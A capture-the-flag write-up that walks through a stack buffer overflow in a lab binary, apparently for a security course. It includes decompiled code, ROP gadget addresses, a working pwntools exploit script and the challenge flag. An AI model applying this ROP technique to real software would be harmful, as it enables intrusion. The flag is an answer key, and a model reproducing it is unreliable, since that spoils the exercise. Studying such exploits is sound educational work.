Escape Room 2

Problem Concepts

- Buffer (Stack) Overflow
- Function Redirection
- Return Oriented Programming

Checksec

```
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
```

No PIE and no stack canaries.

Solution

This is the solution for `./escape2_static`. The net implementation `./escape2_net` may have different return addresses and gadget addresses.

Initial Investigation

We decompile the binary with `ghidra` to investigate potential vulnerabilities:

`escape()` function

```
void escape(int param_1,int param_2)

{
  if ((param_1 == 0xdead) && (param_2 == 0xcafe)) {
    d(flag,0x67,0x3d,0x44,0x21,0x7d,0x3e,0x6c,0x21,0x44,0x28,0x7d,0x26,0x21,0x24,0x2c,0x50,0x41,0x43
    ,0x2a,0x3d,0x6c,0x22,0x7d,0x40,0x44,0x6c,0x3d,0x40,0x73,0x79,0);
    puts("You successfully escaped!");
    printf("The flag is: %s\n",flag);
  }

    /* WARNING: Subroutine does not return */

  exit(0);
}
```

`main()` function

```
undefined8 main(void)

{
  char local_18 [16];

  puts("It ain\'t so easy to escape this time!");
  puts("This room is so secure I\'ll even give you the secret code - It\'s dead & cafe!");
  puts("Please key in the secret code below:");
```

```
  gets(local_18);
  return 0;
}
```

Points of Note:

1. The program asks us for a secret code and runs `gets(local_18)` to store our input.
2. There is a separate function `escape(int param_1, int param_2)` that prints out the flag. However, it is not run or called within `main()`.
3. In order to obtain the flag, the parameter values of `escape(int param_1,int param_2)` must be:
    - `param_1 == 0xdead`
    - `param_2 == 0xcafe`

1. Stack Overflow

`gets(code)` is vulnerable to buffer (stack) overflow.

There is no restriction on the length of the string that is read and passed into the buffer.

> As described in the linux manual page gets(3), '*It is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use.*'

Hence, players can pass in payloads of length larger than that of buffer, and successfully overwrite other values and addresses on the stack.

2. Function Execution Redirection

With this vulnerability, how do we plan on redirecting the program to execute `escape(int param_1,int param_2)` and obtain the flag?

When a function is called, the program needs to know where to return to after the function is completed. Hence, the program will push the address of the next instruction onto the stack. This is known as the return address.

In order to obtain the flag, we need to overwrite the return address on the stack to the address of `escape(int param_1,int param_2)`. In other words, within `main()`, instead of having the function `return 0`, we want the program to return to the `escape(int param_1,int param_2)` function.

3. Return Oriented Programming

However, we also need to ensure that the `escape` function is called with the correct parameters.

In 64-bit architecture, the parameters to any function are primarily passed through registers instead of pushing through the stack. For Linux executables, the order for parameter passing is as follows:

1. RDI
2. RSI
3. RDX
4. RCX
5. R8
6. R9
7. Remaining from the stack

Hence, before the program returns to `escape` function, RDI and RSI must be set to `0xdead` and `0xcafe` respectively. We can do this with ROP gadgets. Gadgets are essentialy small snippets of instruction sequences that are already present in the machine's memory. For this challenge, we use two such gadgets:

- `pop rdi, ret`
  - Pops the top of the stack and stores it in the `rdi`
- `pop rsi, pop r15, ret`
  - Pops the top of the stack and stores it in the `rsi` and pops the next item at the top of the stack and stores it in `r15`

With these gadgets, we can have control over the contents of `rdi` and `rsi` to fulfill the win condition of having `param_1 == 0xdead` and `param_2 == 0xcafe`.

The simplified payload will look like this: `buffer + rbp padding + pop_rdi gadget + 0xdead + pop_rsi_r15 gadget + 0xcafe + r15_padding + escape()_return_address`

This will pop `0xdead` into the `rdi`, pop `0xcafe` into `rsi`, pop an arbitrary padding into `r15`, and return to the `escape()` function with the correct parameters.

Finalizing the Payload

Size of the buffer

- `char local_18 [16]`, 16 characters long

Address of the `escape()` function

- Can be found with:
  - `objdump -t ./escape2_static | grep escape`
  - `gdb` disassembly, `info variables`

```
0000000000401505 g     F .text  00000000000000bd              escape
```

Address of gadgets:

- Use `ROPgadget` command: `ROPgadget --binary escape2_static`

```
0x000000000040166b : pop rdi ; ret
0x0000000000401669 : pop rsi ; pop r15 ; ret
```

Final Script

We can manually create and craft the payload as such:

Payload = `buffer + rbp padding + pop_rdi gadget + 0xdead + pop_rsi_r15 gadget + 0xcafe + r15_padding + escape()_return_address`

However, with *pwntools*, we can more efficiently create a python script to solve the challenge. A sample script as as follows:

```
from pwn import *

binary = context.binary = ELF('./escape2_static')

p = process(binary.path)
rop = ROP(binary)

buffer_size = 16
```

```
rbp_padding = 8
rop.call(binary.sym.escape,[0xdead, 0xcafe])
print(rop.dump())

payload = [b"A" * buffer_size, b"B" * rbp_padding, rop.chain()]
payload = b"".join(payload)

p.sendline(payload)
p.interactive()
```

`rop.call()` will automatically place the gadgets within your payload. `print(rop.dump())` will print out the ROP chain (payload) that it crafted.

```
0x0000:         0x40166b pop rdi; ret
0x0008:           0xdead [arg0] rdi = 57005
0x0010:         0x401669 pop rsi; pop r15; ret
0x0018:           0xcafe [arg1] rsi = 51966
0x0020:      b'iaaajaaa' <pad r15>
0x0028:         0x401505
```

Note that the gadgets', functions' and return addresses are all the same as our static analysis above, where we used `objdump` and `ROPgadget`.

Result

After running script:

```
It ain't so easy to escape this time!
This room is so secure I'll even give you the secret code - It's dead & cafe!
Please key in the secret code below:
You successfully escaped!
The flag is: CZ4067{r0p_1s_pr377y_p0w3rful}
```

Flag

`CZ4067{r0p_1s_pr377y_p0w3rful}`